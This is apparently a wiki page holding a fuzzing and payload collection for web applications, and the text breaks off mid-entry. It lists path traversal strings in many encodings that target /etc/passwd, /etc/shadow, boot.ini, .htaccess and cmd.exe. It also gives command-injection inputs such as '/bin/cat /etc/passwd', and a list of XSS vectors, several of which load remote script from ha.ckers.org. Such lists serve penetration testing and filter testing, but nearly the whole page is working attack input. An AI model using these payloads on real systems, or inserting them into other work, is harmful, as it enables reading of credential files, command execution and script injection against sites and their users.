..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Discovery Statements ===<br /> <br /> Discovery Statements<br /> &lt;pre&gt;# Discovery Statements (July 2007)<br /> # Statements used to cause exploitable errors<br /> # Foobar@email.de<br /> <br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> <br /> Common exploit code <br /> &lt;pre&gt;# Best Statements (July 2007)<br /> # Statements covering 90% of all vulnerabilities <br /> # Foobar@email.de<br /> <br /> '&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt;<br /> <br /> Full List - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;# Full List (July 2007)<br /> # All Statements - Full List <br /> # Based on the XSS cheat sheet <br /> # http://ha.ckers.org/xss.html<br /> # Foobar@email.de<br /> <br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A 